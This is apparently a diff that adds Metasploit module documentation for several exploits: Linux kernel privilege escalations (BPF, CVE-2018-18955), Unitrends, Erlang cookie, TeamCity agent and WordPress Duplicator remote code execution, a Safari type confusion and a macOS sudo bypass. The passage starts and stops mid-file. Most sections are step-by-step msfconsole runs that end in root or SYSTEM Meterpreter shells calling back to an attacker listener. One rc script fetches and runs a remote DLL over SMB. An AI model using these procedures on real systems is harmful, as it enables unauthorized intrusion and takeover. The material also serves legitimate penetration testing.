[+] Deleted /tmp/fuse_mount
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.199.130
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-38-generic)
|
||||
Architecture : x86_64
|
||||
Computer : 172.16.191.141
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-21-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
#### Escalate w/ pre-compiled binaries
|
||||
|
||||
It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed
|
||||
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
|
||||
msf exploit(bpf_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(bpf_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
|
||||
lhost => 192.168.199.131
|
||||
msf exploit(bpf_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.199.131:4444
|
||||
[+] CONFIG_BPF_SYSCAL is set to yes
|
||||
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
|
||||
[+] fuse is installed
|
||||
[-] libfuse-dev is not installed. Compiling will fail.
|
||||
[*] Dropping pre-compiled exploit on system
|
||||
[*] Writing pre-compiled binarys to target
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf
|
||||
[*] Writing payload to /tmp/AyDJSaMM
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
|
||||
[*] Starting execution of priv esc. This may take about 120 seconds
|
||||
[+] got root, starting payload
|
||||
[-] This exploit may require process killing of 'hello', and 'doubleput' on the target
|
||||
[-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target
|
||||
[-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (2412016 bytes) to 192.168.199.130
|
||||
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
|
|
|
@ -24,7 +24,7 @@ This module has been tested against:
|
|||
|
||||
**timing**
|
||||
|
||||
Set cron's timing. Default is to run within a minute. If this is changed, WsfDelay should be adjusted to compensate
|
||||
Set cron's timing. Default is to run within a minute. If this is changed, WfsDelay should be adjusted to compensate
|
||||
|
||||
**cleanup**
|
||||
|
||||
|
|
|
@ -0,0 +1,129 @@
|
|||
## Description
|
||||
|
||||
This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18,
|
||||
and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user
|
||||
namespaces and kernel uid/gid mappings allow elevation to root
|
||||
(CVE-2018-18955).
|
||||
|
||||
The target system must have unprivileged user namespaces enabled and
|
||||
the newuidmap and newgidmap helpers installed (from uidmap package).
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64
|
||||
* Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64)
|
||||
* Linux Mint 19 kernel 4.15.0-20-generic (x86_64)
|
||||
* Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64)
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use exploit/linux/local/nested_namespace_idmap_limit_priv_esc`
|
||||
4. `set SESSION <SESSION>`
|
||||
5. `check`
|
||||
6. `run`
|
||||
7. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
**COMPILE**
|
||||
|
||||
Options: `Auto` `True` `False` (default: `Auto`)
|
||||
|
||||
Whether the exploit should be live compiled with `gcc` on the target system,
|
||||
or uploaded as a pre-compiled binary.
|
||||
|
||||
`Auto` will first determine if `gcc` is installed to compile live on the system,
|
||||
and fall back to uploading pre-compiled binaries.
|
||||
|
||||
|
||||
## Compiled Executables
|
||||
|
||||
The module makes use of two pre-compiled exploit executables:
|
||||
|
||||
* `subuid_shell`
|
||||
* `subshell`
|
||||
|
||||
These are used when `gcc` is not available on the target host for live compiling,
|
||||
or `COMPILE` is set to `False`.
|
||||
|
||||
The executables were cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar).
|
||||
|
||||
```bash
|
||||
./i486-linux-musl-gcc -o subshell.out -s -pie -static subshell.c
|
||||
./i486-linux-musl-gcc -o subuid_shell.out -s -pie -static subuid_shell.c
|
||||
```
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Fedora Workstation 28 (verbose output)
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/nested_namespace_idmap_limit_priv_esc
|
||||
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > check
|
||||
|
||||
[+] Unprivileged user namespaces are permitted
|
||||
[+] /usr/bin/newuidmap is set-uid
|
||||
[+] /usr/bin/newgidmap is set-uid
|
||||
[+] Kernel version 4.16.3-301.fc28.x86_64 appears to be vulnerable
|
||||
[*] The target appears to be vulnerable.
|
||||
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[+] Unprivileged user namespaces are permitted
|
||||
[+] /usr/bin/newuidmap is set-uid
|
||||
[+] /usr/bin/newgidmap is set-uid
|
||||
[+] Kernel version 4.16.3-301.fc28.x86_64 appears to be vulnerable
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system...
|
||||
[*] Writing '/tmp/.LOren.c' (6058 bytes) ...
|
||||
[*] Writing '/tmp/.C9dWgG.c' (1604 bytes) ...
|
||||
[*] Writing '/tmp/.6syapMd72' (367 bytes) ...
|
||||
[*] Adding cron job...
|
||||
[*] [.] starting
|
||||
[*] [.] setting up namespace
|
||||
[*] [~] done, namespace sandbox set up
|
||||
[*] [.] mapping subordinate ids
|
||||
[*] [.] subuid: 100000
|
||||
[*] [.] subgid: 100000
|
||||
[*] [~] done, mapped subordinate ids
|
||||
[*] [.] executing subshell
|
||||
[+] Success. Waiting for job to run (may take a minute)...
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (816260 bytes) to 172.16.191.137
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.137:39150) at 2018-11-24 19:28:02 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localdomain
|
||||
OS : Fedora 28 (Linux 4.16.3-301.fc28.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -0,0 +1,95 @@
|
|||
## Vulnerable Application
|
||||
|
||||
It was discovered that the Unitrends `bpserverd` proprietary protocol, as exposed via `xinetd`,
|
||||
has an issue in which its authentication can be bypassed. A remote attacker could use this
|
||||
issue to execute arbitrary commands with root privilege on the target system.
|
||||
This is very similar to `exploits/linux/misc/ueb9_bpserverd` however it runs against the
|
||||
`localhost` by dropping a python script on the local file system. Unitrends stopped
|
||||
`bpserverd` from listening remotely on version 10.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on:
|
||||
* UEB 9.2
|
||||
* UEB 10.0
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Get a user shell with `exploit/linux/http/ueb_api_rce` with `set target 1`
|
||||
2. ```use exploit/linux/local/ueb_bpserverd_privesc ```
|
||||
3. ```set session [SESSION]```
|
||||
4. ```exploit```
|
||||
5. A root meterpreter session should have been opened successfully
|
||||
|
||||
## Scenarios
|
||||
|
||||
### UEB 10.0 on CentOS 6.5
|
||||
|
||||
```
|
||||
msf > use exploit/linux/local/ueb_priv_esc
|
||||
msf exploit(linux/local/ueb_priv_esc) > set session 4
|
||||
session => 4
|
||||
msf exploit(linux/local/ueb_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 15.0.0.177:4444
|
||||
[*] Writing payload executable to '/tmp/pEFoythF'
|
||||
[*] Writing privesc script to '/tmp/CTZSovJR'
|
||||
[*] Fixing permissions
|
||||
[*] Sending stage (857352 bytes) to 10.20.1.202
|
||||
[*] Meterpreter session 5 opened (15.0.0.177:4444 -> 10.20.1.202:45188) at 2018-04-27 16:44:28 -0400
|
||||
[+] Deleted /tmp/pEFoythF
|
||||
[+] Deleted /tmp/CTZSovJR
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
||||
|
||||
### UEB 9.2 on CentOS 6
|
||||
|
||||
```
|
||||
resource (ueb_priv.rb)> use exploit/linux/http/ueb_api_rce
|
||||
resource (ueb_priv.rb)> set rhost 1.1.1.1
|
||||
rhost => 1.1.1.1
|
||||
resource (ueb_priv.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (ueb_priv.rb)> set target 1
|
||||
target => 1
|
||||
resource (ueb_priv.rb)> run
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] 1.1.1.1:443 - Sending requests to UEB...
|
||||
[*] Command Stager progress - 19.76% done (164/830 bytes)
|
||||
[*] Command Stager progress - 39.16% done (325/830 bytes)
|
||||
[*] Command Stager progress - 56.87% done (472/830 bytes)
|
||||
[*] Command Stager progress - 74.82% done (621/830 bytes)
|
||||
[*] Command Stager progress - 92.77% done (770/830 bytes)
|
||||
[*] Command Stager progress - 110.48% done (917/830 bytes)
|
||||
[*] Sending stage (861480 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:40216) at 2018-11-15 20:03:46 -0500
|
||||
[*] Command Stager progress - 126.63% done (1051/830 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=48, gid=48, euid=48, egid=48
|
||||
meterpreter > sysinfo
|
||||
Computer : 1.1.1.1
|
||||
OS : Red Hat 6.5 (Linux 2.6.32-573.26.1.el6.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
resource (ueb_priv.rb)> use exploit/linux/local/ueb_bpserverd_privesc
|
||||
resource (ueb_priv.rb)> set session 1
|
||||
session => 1
|
||||
resource (ueb_priv.rb)> run
|
||||
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Writing payload executable to '/tmp/.mM0iyQvoAO'
|
||||
[*] Writing privesc script to '/tmp/.sDjn0m'
|
||||
[*] Fixing permissions
|
||||
[*] Sending stage (861480 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:40219) at 2018-11-15 20:04:21 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
||||
|
|
@ -7,7 +7,7 @@
|
|||
|
||||
Xorg (commonly referred as simply X) is the most popular display server among Linux users. Its ubiquity has led to making it an ever-present requisite for GUI applications, resulting in massive adoption from most distributions.
|
||||
|
||||
Xorg is more restrictive to exploit under CentOS. The user must have console lock and SeLinux may interfere.
|
||||
Xorg is more restrictive to exploit under CentOS. The user must have console lock and SeLinux may interfere. If Selinux is enforcing crontabs context will be changed on exploit and you will be unable to clean it.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
|
|
|
@ -0,0 +1,154 @@
|
|||
## Vulnerable Application
|
||||
|
||||
The [Erlang Port Mapper Daemon](https://www.erlang.org/) is used to coordinate distributed erlang
|
||||
instances. Should an attacker get the authentication cookie code execution is trivial. Normally this
|
||||
cookie can be found in the home directory as ".erlang.cookie", however it varies system to system
|
||||
as well as its configuration. As an example on a Windows 10 instance it can be found under the
|
||||
users home directory: e.g `C:\Users\<USER>\.erlang.cookie`. Code execution is achieved via the
|
||||
`os:cmd('cmd').` command
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the Erlang Port Mapper Daemon
|
||||
2. Install RabbitMQ
|
||||
3. Start `msfconsole`
|
||||
4. Do `use exploit/multi/misc/erlang_cookie_rce`
|
||||
5. Do `set RHOST <ip>`
|
||||
6. Do `set COOKIE <cookie>`
|
||||
7. Do `set TARGET <target>`
|
||||
8. Do `set LHOST <host>`
|
||||
9. `exploit` and verify shell is opened (if on windows login)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04.5 LTS
|
||||
|
||||
```
|
||||
msf exploit(multi/misc/erlang_cookie_rce) > options
|
||||
|
||||
Module options (exploit/multi/misc/erlang_cookie_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COOKIE EXAMPLE yes Erlang cookie to login with
|
||||
RHOST A.B.C.D yes The target address
|
||||
RPORT 25672 yes The target port (TCP)
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST W.X.Y.Z yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix
|
||||
|
||||
|
||||
msf exploit(multi/misc/erlang_cookie_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP double handler on W.X.Y.Z:4444
|
||||
[*] A.B.C.D:25672 - Receiving server challenge
|
||||
[*] A.B.C.D:25672 - Sending challenge reply
|
||||
[+] A.B.C.D:25672 - Authentication successful, sending payload
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo XinIWxzXWDO5x9EM;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "XinIWxzXWDO5x9EM\r\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:46410) at 2018-12-09 14:45:47 -0600
|
||||
|
||||
id
|
||||
uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq)
|
||||
```
|
||||
|
||||
### Windows 10 (Build 17134)
|
||||
|
||||
First we want to exploit the host, as an example adding a new user. (Payload is executed over cmd.exe)
|
||||
|
||||
```
|
||||
msf exploit(multi/misc/erlang_cookie_rce) > options
|
||||
|
||||
Module options (exploit/multi/misc/erlang_cookie_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COOKIE EXAMPLE yes Erlang cookie to login with
|
||||
RHOST A.B.C.D yes The target address
|
||||
RPORT 25672 yes The target port (TCP)
|
||||
|
||||
|
||||
Payload options (cmd/windows/adduser):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CUSTOM no Custom group name to be used instead of default
|
||||
PASS Wetw0rkHax0r$1 yes The password for this user
|
||||
USER wetw0rk yes The username to create
|
||||
WMIC false yes Use WMIC on the target to resolve administrators group
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows
|
||||
|
||||
|
||||
msf exploit(multi/misc/erlang_cookie_rce) > exploit
|
||||
|
||||
[*] A.B.C.D:25672 - Receiving server challenge
|
||||
[*] A.B.C.D:25672 - Sending challenge reply
|
||||
[+] A.B.C.D:25672 - Authentication successful, sending payload
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
|
||||
Once exploitation is complete the tester can authenticate. Another method that can be used is SMB as shown below.
|
||||
|
||||
exploit.rc ->
|
||||
|
||||
```
|
||||
use exploit/windows/smb/smb_delivery
|
||||
set SHARE MSF
|
||||
set TARGET 0
|
||||
exploit -j
|
||||
use exploit/multi/misc/erlang_cookie_rce
|
||||
set COOKIE EXAMPLE
|
||||
set TARGET 1
|
||||
set RHOST A.B.C.D
|
||||
set PAYLOAD cmd/windows/generic
|
||||
set CMD "rundll32.exe \\\\W.X.Y.Z\MSF\test.dll,0"
|
||||
exploit -j
|
||||
```
|
||||
|
||||
```
|
||||
msf > resource exploit.rc
|
||||
[*] Processing /root/exploit.rc for ERB directives.
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Started reverse TCP handler on W.X.Y.Z:4444
|
||||
[*] Started service listener on W.X.Y.Z:445
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine: rundll32.exe \\W.X.Y.Z\MSF\test.dll,0
|
||||
[*] Exploit running as background job 1.
|
||||
[*] A.B.C.D:25672 - Receiving server challenge
|
||||
[*] A.B.C.D:25672 - Sending challenge reply
|
||||
[+] A.B.C.D:25672 - Authentication successful, sending payload
|
||||
[*] Sending stage (179779 bytes) to A.B.C.D
|
||||
[*] Meterpreter session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:51856) at 2018-12-18 14:45:02 -0600
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf exploit(multi/misc/erlang_cookie_rce) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
|
@ -0,0 +1,62 @@
|
|||
## Description
|
||||
|
||||
This module allows remote code execution on TeamCity Agents configured to use bidirectional communication via xml-rpc. In bidirectional mode the TeamCity server pushes build commands to the Build Agents over port TCP/9090 without requiring authentication. Up until version 10 this was the default configuration. This module supports TeamCity agents from version 6.0 onwards.
|
||||
|
||||
This module makes use of both a Windows and a Linux command stager. For Linux, the `echo` command stager flavor was replaced with the `printf` command stager flavor due to portability issues associated with `echo` and its options.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully with the following TeamCity Agent versions
|
||||
|
||||
* TeamCity 6.0
|
||||
* TeamCity 6.5
|
||||
* TeamCity 7.0
|
||||
* TeamCity 8.0
|
||||
* TeamCity 9.0
|
||||
* TeamCity 10.0
|
||||
* TeamCity 2017
|
||||
* TeamCity 2018
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `msfconsole`
|
||||
2. `use exploit/multi/misc/teamcity_agent_xmlrpc_exec`
|
||||
3. `set RHOSTS <rhost>`
|
||||
4. `set payload <payload>`
|
||||
5. `run`
|
||||
|
||||
## Options
|
||||
|
||||
**RPORT**
|
||||
|
||||
Which port the TeamCity Agent is listening on (default: 9090)
|
||||
|
||||
**CMD**
|
||||
|
||||
If specified the module will run the specified command instead of executing the payload
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2012 R2 (x64) with TeamCity Agent 2018.1
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/misc/teamcity_agent_xmlrpc_exec
|
||||
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set RHOSTS 172.16.198.149
|
||||
RHOSTS => 172.16.198.149
|
||||
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set LHOST eth0
|
||||
LHOST => eth0
|
||||
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.198.150:4444
|
||||
[*] Found TeamCity Agent running build version 58245
|
||||
[*] Constructing Windows payload
|
||||
[*] Found compatible build config for TeamCity build 58245
|
||||
[*] Successfully sent build configuration
|
||||
[*] Sending stage (179779 bytes) to 172.16.198.149
|
||||
[*] Meterpreter session 1 opened (172.16.198.150:4444 -> 172.16.198.149:49178) at 2018-10-03 17:21:12 +0800
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
|
@ -0,0 +1,72 @@
|
|||
Duplicator by Snap Creek is a WordPress plugin that can be used to create a complete backup of a WordPress instance and restore it on a fresh server. The export method generates 2 files:
|
||||
* An ZIP archive with the complete WordPress files and Duplicator specific files:
|
||||
* A copy of the `installer.php` script: `installer-backup.php`
|
||||
* A SQL script that will be used to restore the database content: `database.sql`
|
||||
* An installer PHP script to restore the archive `installer.php`
|
||||
|
||||
When the `installer.php` completes its process, the following files remain in the directory and has to be manually deleted:
|
||||
* The ZIP archive
|
||||
* `database.sql`
|
||||
* `installer-backup.php`
|
||||
* `installer-data.sql`
|
||||
* `installer-log.txt`
|
||||
* `installer.php`
|
||||
|
||||
WARNING: exploiting the vulnerability will overwrite the wp-config.php file, breaking the WordPress instance.
|
||||
|
||||
## Vulnerable application
|
||||
|
||||
Install a vulnerable version of [WordPress Duplicator (<= 1.2.40)](https://downloads.wordpress.org/plugin/duplicator.1.2.40.zip) and create a backup.
|
||||
Put the `install.php` and archive files on a clean web server.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Confirm that functionality works:
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/multi/php/wp_duplicator_code_inject`
|
||||
3. Set the `RHOST`.
|
||||
4. Confirm the target is vulnerable: `check`
|
||||
5. Confirm that the target is vulnerable: `The target is vulnerable.`
|
||||
6. Set a payload: `set PAYLOAD php/meterpreter/reverse_tcp`
|
||||
7. Set `LHOST` and `LPORT`
|
||||
8. Run the exploit: `run`
|
||||
9. Confirm you have now a meterpreter session
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The path to the installer.php file to exploit By default, the path is `/installer.php`.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Debian 9 running WordPress 4.9.8 with Duplicator 1.2.40
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/php/wp_duplicator_code_inject
|
||||
msf5 exploit(multi/php/wp_duplicator_code_inject) > set rhosts 192.168.37.247
|
||||
rhosts => 192.168.37.247
|
||||
msf5 exploit(multi/php/wp_duplicator_code_inject) > set targeturi /wordpress/installer.php
|
||||
targeturi => /wordpress/installer.php
|
||||
msf5 exploit(multi/php/wp_duplicator_code_inject) > set lhost 192.168.37.1
|
||||
lhost => 192.168.37.1
|
||||
msf5 exploit(multi/php/wp_duplicator_code_inject) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||
[*] Checking if the wp-config.php file already exists...
|
||||
[*] All good! Injecting PHP code in the wp-config.php file...
|
||||
[*] Requesting wp-config.php to execute the payload...
|
||||
[*] Sending stage (38247 bytes) to 192.168.37.247
|
||||
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.247:1251) at 2018-12-11 11:46:16 -0600
|
||||
[*] Attempting to recreate wp-config file...
|
||||
[*] Found archive name 20181127_test_site_126e49aaa44976fa5226181127215223_archive.zip
|
||||
[*] Successfully created the wp-config.php file!
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-0FAJA14JLP4
|
||||
OS : Windows NT WIN-0FAJA14JLP4 6.1 build 7601 (Windows 7 Enterprise Edition Service Pack 1) i586
|
||||
Meterpreter : php/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -0,0 +1,84 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits a type confusion bug in the Javascript Proxy object in
|
||||
WebKit. Safari on OSX 10.13.3 and lower are affected. The JS Proxy object
|
||||
was introduced in Safari 10, so OSX 10.11 is not affected by the type
|
||||
confusion, however the sandbox escape may still work.
|
||||
|
||||
The DFG JIT does not take into account that, through the use of a Proxy,
|
||||
it is possible to run arbitrary JS code during the execution of a CreateThis
|
||||
operation. This makes it possible to change the structure of e.g. an argument
|
||||
without causing a bailout, leading to a type confusion (CVE-2018-4233).
|
||||
|
||||
The JIT region is then replaced with shellcode which loads the second stage.
|
||||
The second stage exploits a logic error in libxpc, which uses command execution
|
||||
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
1. `use exploit/osx/browser/safari_proxy_object_type_confusion`
|
||||
1. `set LHOST <tab>`
|
||||
1. `exploit`
|
||||
1. Visit the URL on a vulnerable version of Safari
|
||||
|
||||
## Scenarios
|
||||
|
||||
### High Sierra 10.13
|
||||
|
||||
```
|
||||
msf5 > use exploit/osx/browser/safari_proxy_object_type_confusion
|
||||
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > set LHOST 192.168.0.2
|
||||
LHOST => 192.168.0.2
|
||||
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
|
||||
[*] Started reverse TCP handler on 192.168.0.2:4444
|
||||
[*] Using URL: http://0.0.0.0:8080/0PiuTy
|
||||
[*] Local IP: http://192.168.0.2:8080/0PiuTy
|
||||
[*] Server started.
|
||||
|
||||
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
|
||||
[*] 192.168.0.2 safari_proxy_object_type_confusion - Request from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38
|
||||
[*] Sending stage (53508 bytes) to 192.168.0.2
|
||||
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.2:33200) at 2018-11-20 16:28:59 +0800
|
||||
|
||||
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > sessions 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : Users-iMac.local
|
||||
OS : Darwin 17.0.0 Darwin Kernel Version 17.0.0: Thu Aug 24 21:48:19 PDT 2017; root:xnu-4570.1.46~2/RELEASE_X86_64
|
||||
Architecture : x64
|
||||
Meterpreter : python/osx
|
||||
```
|
||||
|
||||
### Adding offsets for new versions
|
||||
|
||||
Although all macOS versions from 10.12 -> 10.13.3 are vulnerable, some versions
|
||||
are not supported. It's easy to add support for a vulnerable version by running
|
||||
the script `external/source/exploits/CVE-2018-4404/gen_offsets.rb` on the
|
||||
target version.
|
||||
|
||||
You will need to install the latest radare2 for the script to function.
|
||||
|
||||
```
|
||||
$ git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh && cd ..`
|
||||
$ ruby external/source/exploits/CVE-2018-4404/gen_offsets.rb
|
||||
'10.13' => {
|
||||
:dyld_stub_loader => '0x000012a8',
|
||||
:dlopen => '0x00002e60',
|
||||
:confstr => '0x000024fc',
|
||||
:strlen => '0x00001440',
|
||||
:strlen_got => '0xee8',
|
||||
},
|
||||
```
|
||||
|
||||
The offset `:jsc_vtab` cannot be generated but you can guess it is either 0xe000 or 0xd000.
|
||||
You can then add the offsets to the module:
|
||||
`modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb`
|
||||
|
||||
Please don't forget to contribute the offsets back to the framework if you have
|
||||
successfully tested them.
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
## Vulnerable Application
|
||||
This vulnerability works against OSX <= 10.13.3 (High Sierra). It has
|
||||
been tested against El Capitan (10.11), Sierra (10.12) and High Sierra,
|
||||
however it may work on older versions.
|
||||
|
||||
The task_set_special_port API allows callers to overwrite their bootstrap port,
|
||||
which is used to communicate with launchd. This port is inherited across forks:
|
||||
child processes will use the same bootstrap port as the parent.
|
||||
By overwriting the bootstrap port and forking a child processes, we can now gain
|
||||
a MitM position between our child and launchd.
|
||||
|
||||
To gain root we target the sudo binary and intercept its communication with
|
||||
opendirectoryd, which is used by sudo to verify credentials. We modify the
|
||||
replies from opendirectoryd to make it look like our password was valid.
|
||||
|
||||
## Verification Steps
|
||||
1. Get a session on a vulnerable system
|
||||
2. `use exploit/osx/local/libxpc_mitm_ssudo`
|
||||
3. `set lhost <IP>`
|
||||
4. `set lport <PORT>`
|
||||
5. `set session <session_id>`
|
||||
6. `run`
|
||||
|
||||
## Scenarios
|
||||
### Example Run
|
||||
```
|
||||
msf5 exploit(multi/handler) > use exploit/osx/local/libxpc_mitm_ssudo
|
||||
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set LHOST 192.168.0.2
|
||||
LHOST => 192.168.0.2
|
||||
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set LPORT 4446
|
